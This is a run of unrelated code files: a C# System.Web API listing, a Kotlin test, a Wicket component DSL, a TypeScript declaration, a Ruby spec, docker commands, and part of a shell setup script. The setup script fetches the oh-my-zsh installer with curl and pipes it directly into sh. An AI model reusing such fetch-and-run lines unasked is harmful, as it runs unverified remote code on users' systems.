+ public bool ReadOnly { get; set; }
+ public string ResourceKey { get; set; }
+ public IList Roles { get; set; }
+ public virtual SiteMapNode RootNode { get; }
+ bool System.Web.UI.IHierarchyData.HasChildren { get; }
+ object System.Web.UI.IHierarchyData.Item { get; }
+ string System.Web.UI.IHierarchyData.Path { get; }
+ string System.Web.UI.IHierarchyData.Type { get; }
+ string System.Web.UI.INavigateUIData.Description { get; }
+ string System.Web.UI.INavigateUIData.Name { get; }
+ string System.Web.UI.INavigateUIData.NavigateUrl { get; }
+ string System.Web.UI.INavigateUIData.Value { get; }
+ public virtual string this[string key] { get; set; }
+ public virtual string Title { get; set; }
+ public virtual string Url { get; set; }
+ public virtual SiteMapNode Clone();
+ public virtual SiteMapNode Clone(bool cloneParentNodes);
+ public override bool Equals(object obj);
+ public SiteMapNodeCollection GetAllNodes();
+ public SiteMapDataSourceView GetDataSourceView(SiteMapDataSource owner, string viewName);
+ protected string GetExplicitResourceString(string attributeName, string defaultValue, bool throwIfNotFound);
+ public override int GetHashCode();
+ public SiteMapHierarchicalDataSourceView GetHierarchicalDataSourceView();
+ protected string GetImplicitResourceString(string attributeName);
+ public virtual bool IsAccessibleToUser(HttpContext context);
+ public virtual bool IsDescendantOf(SiteMapNode node);
+ object System.ICloneable.Clone();
+ IHierarchicalEnumerable System.Web.UI.IHierarchyData.GetChildren();
+ IHierarchyData System.Web.UI.IHierarchyData.GetParent();
+ public override string ToString();
+ }
+ public class SiteMapNodeCollection : ICollection, IEnumerable, IHierarchicalEnumerable, IList {
+ public SiteMapNodeCollection();
+ public SiteMapNodeCollection(int capacity);
+ public SiteMapNodeCollection(SiteMapNode value);
+ public SiteMapNodeCollection(SiteMapNodeCollection value);
+ public SiteMapNodeCollection(SiteMapNode[] value);
+ public virtual int Count { get; }
+ public virtual bool IsFixedSize { get; }
+ public virtual bool IsReadOnly { get; }
+ public virtual bool IsSynchronized { get; }
+ public virtual object SyncRoot { get; }
+ int System.Collections.ICollection.Count { get; }
+ bool System.Collections.ICollection.IsSynchronized { get; }
+ object System.Collections.ICollection.SyncRoot { get; }
+ bool System.Collections.IList.IsFixedSize { get; }
+ bool System.Collections.IList.IsReadOnly { get; }
+ object System.Collections.IList.this[int index] { get; set; }
+ public virtual SiteMapNode this[int index] { get; set; }
+ public virtual int Add(SiteMapNode value);
+ public virtual void AddRange(SiteMapNodeCollection value);
+ public virtual void AddRange(SiteMapNode[] value);
+ public virtual void Clear();
+ public virtual bool Contains(SiteMapNode value);
+ public virtual void CopyTo(SiteMapNode[] array, int index);
+ public SiteMapDataSourceView GetDataSourceView(SiteMapDataSource owner, string viewName);
+ public virtual IEnumerator GetEnumerator();
+ public SiteMapHierarchicalDataSourceView GetHierarchicalDataSourceView();
+ public virtual IHierarchyData GetHierarchyData(object enumeratedItem);
+ public virtual int IndexOf(SiteMapNode value);
+ public virtual void Insert(int index, SiteMapNode value);
+ protected virtual void OnValidate(object value);
+ public static SiteMapNodeCollection ReadOnly(SiteMapNodeCollection collection);
+ public virtual void Remove(SiteMapNode value);
+ public virtual void RemoveAt(int index);
+ void System.Collections.ICollection.CopyTo(Array array, int index);
+ IEnumerator System.Collections.IEnumerable.GetEnumerator();
+ int System.Collections.IList.Add(object value);
+ void System.Collections.IList.Clear();
+ bool System.Collections.IList.Contains(object value);
+ int System.Collections.IList.IndexOf(object value);
+ void System.Collections.IList.Insert(int index, object value);
+ void System.Collections.IList.Remove(object value);
+ void System.Collections.IList.RemoveAt(int index);
+ IHierarchyData System.Web.UI.IHierarchicalEnumerable.GetHierarchyData(object enumeratedItem);
+ }
+ public abstract class SiteMapProvider : ProviderBase {
+ protected SiteMapProvider();
+ public virtual SiteMapNode CurrentNode { get; }
+ public bool EnableLocalization { get; set; }
+ public virtual SiteMapProvider ParentProvider { get; set; }
+ public string ResourceKey { get; set; }
+ public virtual SiteMapNode RootNode { get; }
+ public virtual SiteMapProvider RootProvider { get; }
+ public bool SecurityTrimmingEnabled { get; }
+ public event SiteMapResolveEventHandler SiteMapResolve;
+ protected virtual void AddNode(SiteMapNode node);
+ protected internal virtual void AddNode(SiteMapNode node, SiteMapNode parentNode);
+ public abstract SiteMapNode FindSiteMapNode(string rawUrl);
+ public virtual SiteMapNode FindSiteMapNode(HttpContext context);
+ public virtual SiteMapNode FindSiteMapNodeFromKey(string key);
+ public abstract SiteMapNodeCollection GetChildNodes(SiteMapNode node);
+ public virtual SiteMapNode GetCurrentNodeAndHintAncestorNodes(int upLevel);
+ public virtual SiteMapNode GetCurrentNodeAndHintNeighborhoodNodes(int upLevel, int downLevel);
+ public abstract SiteMapNode GetParentNode(SiteMapNode node);
+ public virtual SiteMapNode GetParentNodeRelativeToCurrentNodeAndHintDownFromParent(int walkupLevels, int relativeDepthFromWalkup);
+ public virtual SiteMapNode GetParentNodeRelativeToNodeAndHintDownFromParent(SiteMapNode node, int walkupLevels, int relativeDepthFromWalkup);
+ protected internal abstract SiteMapNode GetRootNodeCore();
+ protected static SiteMapNode GetRootNodeCoreFromProvider(SiteMapProvider provider);
+ public virtual void HintAncestorNodes(SiteMapNode node, int upLevel);
+ public virtual void HintNeighborhoodNodes(SiteMapNode node, int upLevel, int downLevel);
+ public override void Initialize(string name, NameValueCollection attributes);
+ public virtual bool IsAccessibleToUser(HttpContext context, SiteMapNode node);
+ protected internal virtual void RemoveNode(SiteMapNode node);
+ protected SiteMapNode ResolveSiteMapNode(HttpContext context);
+ }
+ public sealed class SiteMapProviderCollection : ProviderCollection {
+ public SiteMapProviderCollection();
+ public new SiteMapProvider this[string name] { get; }
+ public override void Add(ProviderBase provider);
+ public void Add(SiteMapProvider provider);
+ public void AddArray(SiteMapProvider[] providerArray);
+ }
+ public class SiteMapResolveEventArgs : EventArgs {
+ public SiteMapResolveEventArgs(HttpContext context, SiteMapProvider provider);
+ public HttpContext Context { get; }
+ public SiteMapProvider Provider { get; }
+ }
+ public delegate SiteMapNode SiteMapResolveEventHandler(object sender, SiteMapResolveEventArgs e);
+ public abstract class StaticSiteMapProvider : SiteMapProvider {
+ protected StaticSiteMapProvider();
+ protected internal override void AddNode(SiteMapNode node, SiteMapNode parentNode);
+ public abstract SiteMapNode BuildSiteMap();
+ protected virtual void Clear();
+ public override SiteMapNode FindSiteMapNode(string rawUrl);
+ public override SiteMapNode FindSiteMapNodeFromKey(string key);
+ public override SiteMapNodeCollection GetChildNodes(SiteMapNode node);
+ public override SiteMapNode GetParentNode(SiteMapNode node);
+ protected internal override void RemoveNode(SiteMapNode node);
+ }
+ public delegate Task TaskEventHandler(object sender, EventArgs e);
+ public sealed class TraceContext {
+ public TraceContext(HttpContext context);
+ public bool IsEnabled { get; set; }
+ public TraceMode TraceMode { get; set; }
+ public event TraceContextEventHandler TraceFinished;
+ public void Warn(string message);
+ public void Warn(string category, string message);
+ public void Warn(string category, string message, Exception errorInfo);
+ public void Write(string message);
+ public void Write(string category, string message);
+ public void Write(string category, string message, Exception errorInfo);
+ }
+ public sealed class TraceContextEventArgs : EventArgs {
+ public TraceContextEventArgs(ICollection records);
+ public ICollection TraceRecords { get; }
+ }
+ public delegate void TraceContextEventHandler(object sender, TraceContextEventArgs e);
+ public sealed class TraceContextRecord {
+ public TraceContextRecord(string category, string msg, bool isWarning, Exception errorInfo);
+ public string Category { get; }
+ public Exception ErrorInfo { get; }
+ public bool IsWarning { get; }
+ public string Message { get; }
+ }
+ public enum TraceMode {
+ Default = 2,
+ SortByCategory = 1,
+ SortByTime = 0,
+ }
+ public sealed class UnvalidatedRequestValues {
+ public HttpCookieCollection Cookies { get; }
+ public HttpFileCollection Files { get; }
+ public NameValueCollection Form { get; }
+ public NameValueCollection Headers { get; }
+ public string Path { get; }
+ public string PathInfo { get; }
+ public NameValueCollection QueryString { get; }
+ public string RawUrl { get; }
+ public string this[string field] { get; }
+ public Uri Url { get; }
+ }
+ public abstract class UnvalidatedRequestValuesBase {
+ protected UnvalidatedRequestValuesBase();
+ public virtual HttpCookieCollection Cookies { get; }
+ public virtual HttpFileCollectionBase Files { get; }
+ public virtual NameValueCollection Form { get; }
+ public virtual NameValueCollection Headers { get; }
+ public virtual string Path { get; }
+ public virtual string PathInfo { get; }
+ public virtual NameValueCollection QueryString { get; }
+ public virtual string RawUrl { get; }
+ public virtual string this[string field] { get; }
+ public virtual Uri Url { get; }
+ }
+ public class UnvalidatedRequestValuesWrapper : UnvalidatedRequestValuesBase {
+ public UnvalidatedRequestValuesWrapper(UnvalidatedRequestValues requestValues);
+ public override HttpCookieCollection Cookies { get; }
+ public override HttpFileCollectionBase Files { get; }
+ public override NameValueCollection Form { get; }
+ public override NameValueCollection Headers { get; }
+ public override string Path { get; }
+ public override string PathInfo { get; }
+ public override NameValueCollection QueryString { get; }
+ public override string RawUrl { get; }
+ public override string this[string field] { get; }
+ public override Uri Url { get; }
+ }
+ public static class VirtualPathUtility {
+ public static string AppendTrailingSlash(string virtualPath);
+ public static string Combine(string basePath, string relativePath);
+ public static string GetDirectory(string virtualPath);
+ public static string GetExtension(string virtualPath);
+ public static string GetFileName(string virtualPath);
+ public static bool IsAbsolute(string virtualPath);
+ public static bool IsAppRelative(string virtualPath);
+ public static string MakeRelative(string fromPath, string toPath);
+ public static string RemoveTrailingSlash(string virtualPath);
+ public static string ToAbsolute(string virtualPath);
+ public static string ToAbsolute(string virtualPath, string applicationPath);
+ public static string ToAppRelative(string virtualPath);
+ public static string ToAppRelative(string virtualPath, string applicationPath);
+ }
+ public class WebPageTraceListener : TraceListener {
+ public WebPageTraceListener();
+ public override void TraceEvent(TraceEventCache eventCache, string source, TraceEventType severity, int id, string message);
+ public override void TraceEvent(TraceEventCache eventCache, string source, TraceEventType severity, int id, string format, params object[] args);
+ public override void Write(string message);
+ public override void Write(string message, string category);
+ public override void WriteLine(string message);
+ public override void WriteLine(string message, string category);
+ }
+ public class XmlSiteMapProvider : StaticSiteMapProvider, IDisposable {
+ public XmlSiteMapProvider();
+ public override SiteMapNode CurrentNode { get; }
+ public override SiteMapNode RootNode { get; }
+ protected internal override void AddNode(SiteMapNode node, SiteMapNode parentNode);
+ protected virtual void AddProvider(string providerName, SiteMapNode parentNode);
+ public override SiteMapNode BuildSiteMap();
+ protected override void Clear();
+ public void Dispose();
+ protected virtual void Dispose(bool disposing);
+ public override SiteMapNode FindSiteMapNode(string rawUrl);
+ public override SiteMapNode FindSiteMapNodeFromKey(string key);
+ public override SiteMapNodeCollection GetChildNodes(SiteMapNode node);
+ public override SiteMapNode GetParentNode(SiteMapNode node);
+ protected internal override SiteMapNode GetRootNodeCore();
+ public override void Initialize(string name, NameValueCollection attributes);
+ protected internal override void RemoveNode(SiteMapNode node);
+ protected virtual void RemoveProvider(string providerName);
+ }
}
```
|
package handler
import io.kotlintest.matchers.*
import io.kotlintest.specs.*
import su.jfdev.anci.event.handler.*
import su.jfdev.test.matchers.*
import java.util.*
class ObjectHandleSpec: FreeSpec() {
init {
"should find all listeners by EventHandler" - {
val list = ArrayList<Any>()
val listeners = listeners<MutableList<*>>(this)
"should execute all handler methods" {
for (listener in listeners) listener(list)
list should contain only listOf("first", "other", "last")
}
}
}
@EventHandler fun MutableList<Any>.`add first`() {
add("first")
}
@EventHandler fun MutableList<Any>.`add other`() {
add("other")
}
@EventHandler fun MutableList<Any>.`add last`() {
add("last")
}
}
|
import { FusionChartStatic } from "fusioncharts";
declare namespace Lyon {}
declare var Lyon: (H: FusionChartStatic) => FusionChartStatic;
export = Lyon;
export as namespace Lyon;
|
package org.kwicket.wicket.core.queued
import org.apache.wicket.MarkupContainer
import org.apache.wicket.Page
import org.apache.wicket.behavior.Behavior
import org.apache.wicket.feedback.IFeedbackMessageFilter
import org.apache.wicket.markup.html.form.upload.FileUpload
import org.apache.wicket.markup.html.form.validation.IFormValidator
import org.apache.wicket.markup.html.list.ListItem
import org.apache.wicket.model.IModel
import org.apache.wicket.request.mapper.parameter.PageParameters
import org.apache.wicket.request.resource.IResource
import org.apache.wicket.request.resource.PackageResourceReference
import org.apache.wicket.request.resource.ResourceReference
import org.kwicket.component.q
import org.kwicket.wicket.core.markup.html.KWebMarkupContainer
import org.kwicket.wicket.core.markup.html.basic.KLabel
import org.kwicket.wicket.core.markup.html.basic.KMultiLineLabel
import org.kwicket.wicket.core.markup.html.form.KForm
import org.kwicket.wicket.core.markup.html.form.KTextArea
import org.kwicket.wicket.core.markup.html.form.KTextField
import org.kwicket.wicket.core.markup.html.form.upload.KFileUploadField
import org.kwicket.wicket.core.markup.html.image.KImage
import org.kwicket.wicket.core.markup.html.image.KInlineImage
import org.kwicket.wicket.core.markup.html.image.KPicture
import org.kwicket.wicket.core.markup.html.image.KSource
import org.kwicket.wicket.core.markup.html.link.KBookmarkablePageLink
import org.kwicket.wicket.core.markup.html.link.KLink
import org.kwicket.wicket.core.markup.html.list.KListView
import org.kwicket.wicket.core.markup.html.panel.KFeedbackPanel
import kotlin.reflect.KClass
fun <T> MarkupContainer.link(
id: String,
model: IModel<T>,
params: PageParameters? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behaviors: List<Behavior>? = null,
onClick: () -> Unit
) = q(
KLink(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
behaviors = behaviors,
onClick = onClick,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings
)
)
fun MarkupContainer.link(
id: String,
params: PageParameters? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behaviors: List<Behavior>? = null,
onClick: () -> Unit
) = q(
KLink<Unit>(
id = id,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
behaviors = behaviors,
onClick = onClick,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings
)
)
fun <T> MarkupContainer.form(
id: String,
model: IModel<T>? = null,
outputMarkupPlaceholderTag: Boolean? = null,
outputMarkupId: Boolean? = null,
behaviors: List<Behavior>? = null,
validators: List<IFormValidator>? = null
) = q(
KForm(
id = id,
model = model,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
outputMarkupId = outputMarkupId,
behaviors = behaviors,
validators = validators
)
)
fun MarkupContainer.webMarkupContainer(
id: String,
model: IModel<*>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behaviors: List<Behavior>? = null
) = q(
KWebMarkupContainer(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
visible = visible,
enabled = enabled,
behaviors = behaviors
)
)
fun MarkupContainer.webMarkupContainer(
id: String,
model: IModel<*>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behavior: Behavior
) = q(
KWebMarkupContainer(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
visible = visible,
enabled = enabled,
behavior = behavior
)
)
fun <T, C : List<T>> MarkupContainer.listView(
id: String,
model: IModel<C>? = null,
reuseItems: Boolean? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behaviors: List<Behavior>? = null,
populate: ListItem<T>.() -> Unit
) = q(
KListView(
id = id,
model = model,
reuseItems = reuseItems,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
behaviors = behaviors,
populate = { populate(it) }
)
)
fun MarkupContainer.label(
id: String,
model: IModel<*>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
escapeModelStrings: Boolean? = null,
renderBodyOnly: Boolean? = null,
behaviors: List<Behavior>? = null
) = q(
KLabel(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
escapeModelStrings = escapeModelStrings,
renderBodyOnly = renderBodyOnly,
behaviors = behaviors
)
)
fun MarkupContainer.label(
id: String,
model: IModel<*>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
escapeModelStrings: Boolean? = null,
renderBodyOnly: Boolean? = null,
behavior: Behavior
) = q(
KLabel(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
escapeModelStrings = escapeModelStrings,
renderBodyOnly = renderBodyOnly,
behavior = behavior
)
)
fun MarkupContainer.multiLineLabel(
id: String,
model: IModel<*>,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
escapeModelStrings: Boolean? = null,
renderBodyOnly: Boolean? = null,
behaviors: List<Behavior>? = null
) = q(
KMultiLineLabel(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
escapeModelStrings = escapeModelStrings,
renderBodyOnly = renderBodyOnly,
behaviors = behaviors
)
)
fun MarkupContainer.fileUploadField(
id: String,
model: IModel<MutableList<FileUpload>>,
required: Boolean? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
label: IModel<String>? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
behaviors: List<Behavior>? = null
) = KFileUploadField(
id = id,
model = model,
required = required,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
label = label,
visible = visible,
enabled = enabled,
behaviors = behaviors
)
fun MarkupContainer.fileUploadField(
id: String,
model: IModel<MutableList<FileUpload>>,
required: Boolean? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
label: IModel<String>? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
behavior: Behavior
) = KFileUploadField(
id = id,
model = model,
required = required,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
label = label,
visible = visible,
enabled = enabled,
behaviors = listOf(behavior)
)
fun MarkupContainer.feedbackPanel(
id: String,
filter: IFeedbackMessageFilter? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behaviors: List<Behavior>? = null
) = q(
KFeedbackPanel(
id = id,
filter = filter,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
behaviors = behaviors,
visible = visible,
enabled = enabled
)
)
fun MarkupContainer.picture(
id: String,
model: IModel<*>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behaviors: List<Behavior>? = null
) = q(
KPicture(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
visible = visible,
enabled = enabled,
behaviors = behaviors
)
)
fun MarkupContainer.picture(
id: String,
model: IModel<*>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behavior: Behavior
) = q(
KPicture(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
visible = visible,
enabled = enabled,
behavior = behavior
)
)
fun MarkupContainer.image(
id: String,
model: IModel<*>? = null,
resRef: ResourceReference? = null,
resParams: PageParameters? = null,
resRefs: List<ResourceReference>? = null,
imageResources: List<IResource>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
xValues: List<String>? = null,
sizes: List<String>? = null,
behaviors: List<Behavior>? = null
) = q(
KImage(
id = id,
model = model,
resRef = resRef,
resParams = resParams,
resRefs = resRefs,
imageResources = imageResources,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
xValues = xValues,
sizes = sizes,
behaviors = behaviors
)
)
// FIXME: there should be two methods one with a single resRef and one with a list
fun MarkupContainer.image(
id: String,
model: IModel<*>? = null,
resRef: ResourceReference? = null,
resParams: PageParameters? = null,
resRefs: List<ResourceReference>? = null,
imageResources: List<IResource>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
xValues: List<String>? = null,
sizes: List<String>? = null,
behavior: Behavior
) = q(
KImage(
id = id,
model = model,
resRef = resRef,
resParams = resParams,
resRefs = resRefs,
imageResources = imageResources,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
xValues = xValues,
sizes = sizes,
behaviors = listOf(behavior)
)
)
fun MarkupContainer.inlineImage(
id: String,
model: IModel<*>? = null,
resRef: PackageResourceReference,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behaviors: List<Behavior>? = null
) = q(KInlineImage(
id = id,
model = model,
resRef = resRef,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
behaviors = behaviors
))
fun MarkupContainer.inlineImage(
id: String,
model: IModel<*>? = null,
resRef: PackageResourceReference,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behavior: Behavior
) = q(KInlineImage(
id = id,
model = model,
resRef = resRef,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
behavior = behavior
))
fun MarkupContainer.source(
id: String,
model: IModel<*>? = null,
resRef: ResourceReference? = null,
resParams: PageParameters? = null,
resRefs: List<ResourceReference>? = null,
imageResources: List<IResource>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
xValues: List<String>? = null,
sizes: List<String>? = null,
media: String? = null,
behaviors: List<Behavior>? = null
) = q(
KSource(
id = id,
model = model,
resRef = resRef,
resParams = resParams,
resRefs = resRefs,
imageResources = imageResources,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
xValues = xValues,
sizes = sizes,
media = media,
behaviors = behaviors
)
)
fun MarkupContainer.source(
id: String,
model: IModel<*>? = null,
resRef: ResourceReference? = null,
resParams: PageParameters? = null,
resRefs: List<ResourceReference>? = null,
imageResources: List<IResource>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
xValues: List<String>? = null,
sizes: List<String>? = null,
media: String? = null,
behavior: Behavior
) = q(
KSource(
id = id,
model = model,
resRef = resRef,
resParams = resParams,
resRefs = resRefs,
imageResources = imageResources,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
xValues = xValues,
sizes = sizes,
media = media,
behavior = behavior
)
)
fun <C : Page> MarkupContainer.bookmarkablePageLink(
id: String,
page: KClass<C>,
params: PageParameters? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
behaviors: List<Behavior>? = null
) = q(
KBookmarkablePageLink(
id = id,
page = page,
params = params,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
behaviors = behaviors
)
)
fun <T : Any> MarkupContainer.textField(
id: String,
model: IModel<T?>? = null,
type: KClass<T>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behavior: Behavior
) = q(
KTextField(
id = id,
model = model,
type = type,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
behaviors = listOf(behavior)
)
)
fun <T : Any> MarkupContainer.textField(
id: String,
model: IModel<T?>? = null,
type: KClass<T>? = null,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behaviors: List<Behavior>? = null
) = q(
KTextField(
id = id,
model = model,
type = type,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
behaviors = behaviors
)
)
fun <T : Any> MarkupContainer.textArea(
id: String,
model: IModel<T?>,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behavior: Behavior
) = q(
KTextArea(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
behaviors = listOf(behavior)
)
)
fun <T : Any> MarkupContainer.textArea(
id: String,
model: IModel<T?>,
outputMarkupId: Boolean? = null,
outputMarkupPlaceholderTag: Boolean? = null,
visible: Boolean? = null,
enabled: Boolean? = null,
renderBodyOnly: Boolean? = null,
escapeModelStrings: Boolean? = null,
behaviors: List<Behavior>? = null
) = q(
KTextArea(
id = id,
model = model,
outputMarkupId = outputMarkupId,
outputMarkupPlaceholderTag = outputMarkupPlaceholderTag,
visible = visible,
enabled = enabled,
renderBodyOnly = renderBodyOnly,
escapeModelStrings = escapeModelStrings,
behaviors = behaviors
)
)
|
namespace ChannelNineEventFeed.WPF.Converters
{
public enum VisibilityConverterMode
{
VisibleIfTrue,
VisibleIfNotTrue,
VisibleIfStringEmpty,
VisibleIfNotStringEmpty
}
}
|
require 'rspec'
describe "Your code" do
[['solution::code']]
{
fixnum: Fixnum,
bignum: Bignum,
float: Float,
rational: Rational,
complex: Complex
}.each do |variable, class_name|
it "defines a variable with name \"#{variable}\"" do
expect(local_variables.include?(variable)).to be true
end
if local_variables.include?(variable)
it "defines a variable \"#{variable}\" which is a #{class_name}" do
expect(eval(variable.to_s).class).to eq class_name
end
end
end
end
|
docker build -t local_telegraf -f scripts/alpine.docker .
docker-compose -f plugins/inputs/kibana/test_environment/docker-compose.yml up
|
#!/usr/bin/env bash
# Exit immediately if any step fails.
set -e
# Echo each command.
set -v
THIS_DIR="$(cd $(dirname $0) &>/dev/null && pwd && cd - &>/dev/null)"
# Install oh-my-zsh.
if [ ! -d "${HOME}/.oh-my-zsh" ]; then
echo "Installing oh-my-zsh"
# See: https://github.com/ohmyzsh/ohmyzsh#unattended-install
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" "" --unattended
fi
CUSTOM_DIR="${HOME}/.oh-my-zsh/custom"
